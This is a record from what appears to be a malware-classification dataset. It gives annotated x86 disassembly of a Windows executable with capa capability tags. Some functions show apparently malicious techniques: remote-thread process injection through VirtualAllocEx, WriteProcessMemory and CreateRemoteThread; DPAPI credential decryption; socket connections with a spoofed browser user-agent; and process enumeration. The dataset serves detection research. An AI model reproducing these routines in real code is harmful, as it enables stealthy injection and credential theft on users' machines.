joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42c180
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
mov esi, ecx
push 0
push eax
call fcn.005205e0
add esp, 0xc
mov dword [ebp - 0x58], 0x44
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
movups xmmword [ebp - 0x10], xmm0
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x42c1dc
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x431610
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x547e3d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x228
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
lea ebx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0x40
cmovae ebx, dword [ebp + 8]
cmovae ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ebx
push 0x3000
mov ebx, dword [ebx + 0x3c]
add ebx, ecx
push dword [ebx + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0
push dword [ebx + 0x54]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [ebx + 6]
jae 0x4316ca
lea esi, [ebx + 0x10c]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebp + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x14]
push ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [ebx + 6]
lea esi, [esi + 0x28]
inc edi
cmp edi, eax
jl 0x431696
mov esi, dword [ebp - 0x10]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x18]
mov edi, eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x230], eax
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x22c], ecx
mov ecx, dword [ebx + 0xa0]
add ecx, eax
mov dword [ebp - 0x228], ecx
mov ecx, dword [ebx + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x220], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
push 0
push eax
mov dword [ebp - 0x224], ecx
call fcn.005205e0
add esp, 0xc
mov ecx, 0x58abbc
cmp dword [0x58abd0], 0x10
mov eax, 0x58abec
cmovae ecx, dword [0x58abbc]
cmp dword [0x58ac00], 0x10
push ecx
cmovae eax, dword [0x58abec]
push eax
lea eax, [ebp - 0x218]
push str._s_s
push eax
call fcn.00410490
add esp, 0x10
lea eax, [ebp - 0x230]
push 0
push 0x218
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebp - 0x10]
lea esi, [edi + 0x218]
push 0
mov eax, fcn.00431600
sub eax, 0x4314f0
push eax
push 0x4314f0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040fe10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x437280
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
push ebx
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 0
push eax
push 0x202
mov esi, edx
mov ebx, ecx
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x437343
mov dword [esp + 0x10], eax
xorps xmm0, xmm0
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
movlpd qword [esp + 0x24], xmm0
push eax
push esi
push ebx
movlpd qword [esp + 0x38], xmm0
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x43733d
mov esi, dword [esp + 0xc]
test esi, esi
je 0x437351
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x43733d
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x43734d
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x437301
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x43733d
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x439220
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54898d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x30
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
call edi
test eax, eax
jne 0x439288
add esi, 0x10
cmp esi, 0x800
jbe 0x439262
cmp esi, 0x800
jae 0x4392ac
push 0x800
call fcn.0052d01c
mov edi, eax
add esp, 4
test edi, edi
jne 0x4392c1
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x800
push 0
push edi
call fcn.005205e0
mov esi, dword [ebp - 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [ebp - 0x18]
push edi
call fcn.0051fea0
add esp, 0x18
mov dword [ebp - 0x2c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
push esi
push edi
call fcn.00410090
mov dword [ebp - 4], 0
lea eax, [ebp - 0x3c]
mov esi, dword [ebp - 0x14]
cmp esi, eax
je 0x43934b
mov ecx, esi
call fcn.0040fe10
movups xmm0, xmmword [ebp - 0x3c]
mov eax, 0xf
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x2c], 0
mov byte [ebp - 0x3c], 0
jmp 0x43934e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x439384
mov edx, dword [ebp - 0x3c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x43937a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4393bd
push ecx
push edx
call fcn.005083b1
add esp, 8
push edi
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
call fcn.0052c8c6
add esp, 4
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.005238a0
int3
Function at 0x4674e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x467588
lea eax, [ebp - 0x128]
mov dword [ebp - pe_nt_image_headers32], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x467581
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x46752a
mov eax, dword [esi]
lea ecx, [ebp - 0x104]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x467550
test dl, dl
je 0x46754c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x467550
add ecx, 2
add eax, 2
test dl, dl
jne 0x467530
xor eax, eax
jmp 0x467555
sbb eax, eax
or eax, 1
test eax, eax
je 0x46757b
lea eax, [ebp - 0x128]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x467520
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4ad040
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5520e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov dword [ecx], 0
mov byte [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ebp - 4], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov byte [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ecx + 0x24], 0
mov byte [ecx + 0x28], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
mov byte [ecx + 0x34], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x4adc30
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5521dd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov eax, ecx
push edi
mov dword [ebp - 0x10], eax
call fcn.004af1a0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
lea esi, [eax + 8]
mov dword [eax + 0x2c], edx
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea edi, [eax + 0x14]
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [eax + 0x48], 0
mov byte [eax + 0x3d], 0
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4c], 0
mov eax, dword [0x58d520]
mov ecx, dword [0x58d524]
mov dword [edx + 0x40], eax
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov dword [ebp - 4], 0xffffffff
mov eax, edx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4addb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55220e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 0x14], 0
push ebx
mov ebx, ecx
push esi
push edi
push 0
mov eax, dword [ebx]
push 0
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.00411880
push 8
call fcn.00508130
add esp, 4
mov esi, eax
push 1
call fcn.00506f3e
mov dword [esi + 4], eax
add esp, 4
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov dword [ebp - 4], 2
mov eax, dword [edi + 0x30]
mov esi, dword [eax + 4]
mov ecx, esi
mov dword [ebp - 0x1c], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], 2
push eax
call fcn.004af500
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x20]
mov ecx, eax
call edx
mov edx, 2
mov byte [ebp + 0xb], al
mov dword [ebp - 0x14], edx
and edx, 0xfffffffd
mov dword [ebp - 0x14], edx
mov byte [ebp - 4], 1
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 8]
test eax, eax
je 0x4adee0
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
cmp dword [edi + 0x38], 0
mov al, byte [ebp + 0xb]
mov byte [edi + 0x40], al
jne 0x4adefc
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.00411880
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4be600
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55416b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
push esi
mov ecx, edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], edi
call fcn.004abdc0
mov dword [ebp - 4], 2
lea eax, [esi + 0x18]
lea ecx, [edi + 0x18]
push eax
mov dword [ebp + 8], ecx
call fcn.004abdc0
mov dword [ebp - 4], 5
lea eax, [esi + 0x30]
lea ecx, [edi + 0x30]
push eax
mov dword [ebp - 0x18], ecx
call fcn.004abdc0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4c9b90
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
mov edi, edx
mov dword [ebp - 8], 0
push eax
lea edx, [ebp - 8]
mov esi, ecx
call fcn.004c9a80
add esp, 4
test eax, eax
je 0x4c9bc5
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 8]
mov ecx, esi
push 0x7530
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_117.0.0.0_Safari_537.36_Edg_117.0.2045.36
push edi
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.004c9830
mov ecx, dword [ebp - 8]
add esp, 0x14
mov esi, eax
call fcn.004c9b70
test esi, esi
pop edi
sete al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4ca850
Capabilities:
Hash data with md5

Disassembly:
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov byte [ecx + 0x9c], 0
ret

Function at 0x4cb390
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004cb110

Function at 0x4cb3c0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004cb3a0
Function at 0x4d1670
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push edi
mov edi, edx
mov ecx, dword [ebx]
mov eax, ecx
xor eax, dword [ebp + 8]
mov edx, dword [ebx + 8]
movzx eax, al
shr ecx, 8
xor ecx, dword [edi + eax*4]
movzx eax, cl
add eax, dword [ebx + 4]
mov dword [ebx], ecx
imul ecx, eax, 0x8088405
mov eax, dword [ebp + 8]
inc ecx
mov dword [ebx + 4], ecx
shr ecx, 0x18
xor ecx, edx
shr edx, 8
movzx ecx, cl
xor edx, dword [edi + ecx*4]
pop edi
mov dword [ebx + 8], edx
pop ebx
pop ebp
ret

Function at 0x4d2c20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x100ac], ebx
je 0x4d2c86
cmp dword [esi + 0x7c], ebx
jbe 0x4d2c86
mov ecx, 0xffffff5c
lea eax, [esi + 0x100d0]
sub ecx, esi
lea edi, [esi + 0xa4]
mov dword [ebp - 4], ecx
nop
mov ecx, eax
call fcn.004d1650
movzx ecx, byte [edi]
mov ebx, eax
mov edx, dword [esi + 0x100dc]
push ecx
lea ecx, [esi + 0x100d0]
call fcn.004d1670
xor byte [edi], bl
add esp, 4
mov eax, dword [ebp - 4]
inc edi
add eax, edi
cmp eax, dword [esi + 0x7c]
lea eax, [esi + 0x100d0]
jb 0x4d2c50
xor ebx, ebx
mov edi, dword [esi + 0x7c]
lea eax, [esi + 0xa4]
push edi
push eax
push dword [esi + 0x2c]
mov eax, dword [esi + 8]
push dword [esi + 0x1c]
call eax
add esp, 0x10
mov dword [esi + 0x7c], 0
or ecx, 0xffffffff
cmp eax, edi
cmovne ebx, ecx
add dword [esi + 0x100c0], edi
mov ecx, dword [esi + 0x48]
mov eax, ebx
adc dword [esi + 0x100c4], 0
add dword [esi + 0x100c8], ecx
pop edi
adc dword [esi + 0x100cc], 0
mov dword [esi + 0x48], 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d7300
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, edx
xor esi, esi
mov ebx, ecx
test edi, edi
jle 0x4d732d
nop dword [eax]
movzx eax, byte [ebx]
lea ecx, [esi*8]
dec edi
lea ebx, [ebx + 1]
movzx edx, byte [eax + 0x570f98]
xor edx, ecx
xor esi, edx
test edi, edi
jg 0x4d7310
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4d7f80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x58cfb4]
sub esp, 0x31c
push ebx
push esi
push edi
mov edi, edx
test eax, eax
je 0x4d7fb3
push eax
push 0x573668
lea eax, [ebp - 0x110]
push eax
push 0xe6
call fcn.004d5b80
add esp, 0x10
jmp 0x4d8022
call fcn.004d76a0
test eax, eax
je 0x4d7fdb
lea eax, [ebp - 0x318]
push eax
push 0xe6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [ebp - 0x318]
call fcn.004d7760
jmp 0x4d7ff8
lea eax, [ebp - 0x218]
push eax
push 0xe6
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x218]
call fcn.004d78b0
mov esi, eax
test esi, esi
je 0x4d8104
push esi
push 0x573668
lea eax, [ebp - 0x110]
push eax
push 0xe6
call fcn.004d5b80
push esi
call fcn.0052c8c6
add esp, 0x14
lea ecx, [ebp - 0x110]
call fcn.004d6300
test eax, eax
je 0x4d8040
cmp byte [ebp + eax - 0x111], 0x5c
jne 0x4d8040
sub eax, 1
jne 0x4d8031
mov byte [ebp + eax - 0x110], 0
lea eax, [ebp - 0x110]
push eax
push str._setilqs_
push edi
push 0xe7
call fcn.004d5b80
add esp, 0x10
mov ecx, edi
call fcn.004d6300
mov ebx, eax
mov ecx, 0x14
lea esi, [ebx + edi]
mov edx, esi
call fcn.004d5cd0
add esi, 2
mov dword [ebp - 4], 0x3e
mov ecx, 4
nop dword [eax]
movzx eax, byte [esi - 2]
lea esi, [esi + 5]
xor edx, edx
div dword [ebp - 4]
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
xor edx, edx
mov byte [esi - 7], al
movzx eax, byte [esi - 6]
div dword [ebp - 4]
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
xor edx, edx
mov byte [esi - 6], al
movzx eax, byte [esi - 5]
div dword [ebp - 4]
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
xor edx, edx
mov byte [esi - 5], al
movzx eax, byte [esi - 4]
div dword [ebp - 4]
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
xor edx, edx
mov byte [esi - 4], al
movzx eax, byte [esi - 3]
div dword [ebp - 4]
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [esi - 3], al
sub ecx, 1
jne 0x4d8090
mov byte [ebx + edi + 0x14], cl
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 7
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d8560
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
push edi
lea eax, [ebp - 0x110]
mov dword [ebp - 8], 0x200
push eax
push 0x104
push edx
push ecx
call fcn.004d8480
add esp, 0x10
test eax, eax
jne 0x4d8636
lea ecx, [ebp - 0x110]
call fcn.004d7f60
mov esi, eax
test esi, esi
je 0x4d862b
call fcn.004d76a0
mov ecx, esi
test eax, eax
je 0x4d85f1
movzx eax, word [esi]
test ax, ax
je 0x4d85db
mov edx, eax
nop word [eax + eax]
cmp dx, 0x5c
je 0x4d85d6
movzx eax, word [ecx + 2]
add ecx, 2
mov edx, eax
test ax, ax
jne 0x4d85c0
jmp 0x4d85db
xor eax, eax
mov word [ecx], ax
lea eax, [ebp - 4]
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x4d861c
mov al, byte [esi]
test al, al
je 0x4d8608
cmp al, 0x5c
je 0x4d8605
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4d85f7
jmp 0x4d8608
mov byte [ecx], 0
lea eax, [ebp - 4]
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
mov edi, eax
call fcn.0052c8c6
add esp, 4
test edi, edi
jne 0x4d8636
mov eax, 0x200
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4ec1a0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
mov ebx, edx
mov eax, ecx
mov dword [esp + 4], eax
push esi
push edi
test ebx, ebx
je 0x4ec2c3
mov edx, 0x44
call fcn.004d4750
mov edi, eax
test edi, edi
je 0x4ec2c3
mov esi, dword [ebp + 8]
mov edx, dword [ebx]
mov ecx, dword [esp + 0xc]
push esi
call fcn.004ebec0
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [edi], eax
mov edx, dword [ebx + 8]
push esi
call fcn.004ebfb0
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [edi + 8], eax
mov edx, dword [ebx + 0xc]
push esi
call fcn.004ebea0
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [edi + 0xc], eax
mov edx, dword [ebx + 0x10]
push esi
call fcn.004ebec0
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [edi + 0x10], eax
mov edx, dword [ebx + 0x14]
push esi
call fcn.004ebea0
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [edi + 0x14], eax
mov edx, dword [ebx + 0x18]
push esi
call fcn.004ebec0
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [edi + 0x18], eax
mov al, byte [ebx + 4]
mov byte [edi + 4], al
mov edx, dword [ebx + 0x1c]
push esi
call fcn.004ec1a0
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [edi + 0x1c], eax
mov edx, dword [ebx + 0x28]
push esi
call fcn.004ebea0
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [edi + 0x28], eax
mov edx, dword [ebx + 0x2c]
push esi
call fcn.004ebea0
mov dword [edi + 0x2c], eax
mov ecx, 0xfff7
mov dword [edi + 0x30], 0
add esp, 4
mov dword [edi + 0x34], 0
mov ax, word [ebx + 6]
and ax, cx
mov dword [edi + 0x24], 0
mov word [edi + 6], ax
mov eax, edi
mov dword [edi + 0x38], 0xffffffff
mov dword [edi + 0x3c], 0xffffffff
mov dword [edi + 0x40], 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x506b06
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00506ae2
pop esi
leave
ret 8

Function at 0x508cb5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x508cf4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x508cf4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x508cf4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x508cf4
cmp dword [ecx + 0x74], 0xe
jbe 0x508cf4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x509490
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x20]
mov dword [0x58a070], eax
cmp eax, 0x10
jb 0x5094b2
cmp eax, 4
jae 0x5094b7
call fcn.00509280
push 0x10
push 0x58c760
call fcn.005092a0
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x5095d0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push ebp
mov ebp, esp
call fcn.00509620
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.dll_SystemFunction036
test al, al
jne 0x5095ed
pop ebp
jmp fcn.00509280
pop ebp
ret